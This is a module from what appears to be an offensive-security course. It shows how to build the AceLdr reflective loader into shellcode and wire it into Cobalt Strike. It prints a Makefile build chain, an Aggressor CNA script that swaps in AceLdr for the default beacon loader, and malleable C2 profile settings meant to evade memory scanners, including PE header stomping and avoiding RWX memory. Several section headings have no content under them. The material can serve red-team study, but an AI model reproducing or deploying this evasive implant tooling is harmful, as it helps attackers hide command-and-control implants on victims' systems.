Module 9: Full Chain & Cobalt Strike Integration

From Makefile to malleable C2 — shipping AceLdr as a production RDLL

Build Pipeline

AceLdr's build system uses a Makefile that chains three tools: NASM (assembler), GCC (cross-compiler targeting x86-64 Windows), and a custom extract.py script:

Makefile
# Assemble the return-address spoofing stub
nasm -f win64 spoof.asm -o spoof.o

# Compile and link everything as position-independent code
x86_64-w64-mingw32-gcc \
    -nostdlib -fPIC -Os \
    -ffunction-sections -fdata-sections \
    -Wl,--no-seh,--image-base=0,-s,--gc-sections \
    -o ace.exe \
    ace.c util.c hooks/*.c spoof.o

# Extract the .text section as raw shellcode
python3 extract.py ace.exe ace.bin

Compiler Flags Explained

Cobalt Strike CNA Script

AceLdr integrates with Cobalt Strike as a Reflective DLL (RDLL) replacement via an Aggressor script (.cna file). The key hook is BEACON_RDLL_GENERATE:

Aggressor Script — aceldr.cna
# Hook into Cobalt Strike's RDLL generation
set BEACON_RDLL_GENERATE {
    # $1 = architecture (x86 or x64)
    # $2 = raw beacon DLL bytes
    # $3 = Cobalt Strike-generated RDLL (default loader)

    # Only support x64
    if ($1 eq "x64") {
        # Read AceLdr shellcode
        $loader = readb(script_resource("ace.bin"));

        # Concatenate: AceLdr shellcode + beacon DLL
        # AceLdr expects the beacon immediately after itself
        # It finds the beacon by looking for the ACELDR marker
        # at a known offset from its own base address
        return $loader . $2;
    }

    # Fall back to default RDLL for x86
    return $3;
}

How Concatenation Works

The BEACON_RDLL_GENERATE hook replaces Cobalt Strike's default reflective loader with AceLdr. The concatenation ($loader . $2) places the AceLdr shellcode immediately before the raw beacon DLL bytes. When injected, execution starts at AceLdr's entry point, which:

1. Locates the beacon DLL appended after itself using a known marker
2. Reflectively loads the beacon into memory
3. Installs the 6 IAT hooks
4. Calls the beacon's DllMain to start execution

Complete Lifecycle — 4 Phases

Malleable C2 Profile Highlights

For optimal operation with AceLdr, the Cobalt Strike malleable C2 profile should include specific settings:

Malleable C2 Profile
# Use RDLL for reflective loading
stage {
    set userwx        "false";     # Don't use RWX memory
    set stomppe       "true";      # Stomp PE headers after load
    set cleanup       "true";      # Clean up loader artifacts
    set sleep_mask    "false";     # Disable CS sleep mask (AceLdr handles this)
    set smartinject   "true";      # Use smart injection techniques
}

# Process injection settings
process-inject {
    set startrwx "false";          # Don't start with RWX
    set userwx   "false";          # Don't use RWX after injection
}

The critical setting is set sleep_mask "false". Cobalt Strike has its own built-in sleep mask, but AceLdr's FOLIAGE implementation is more comprehensive (it includes heap encryption, context spoofing, and CFG-aware APC chains). Using both simultaneously would conflict.

References & Further Reading

Where to Go From Here

Final Knowledge Check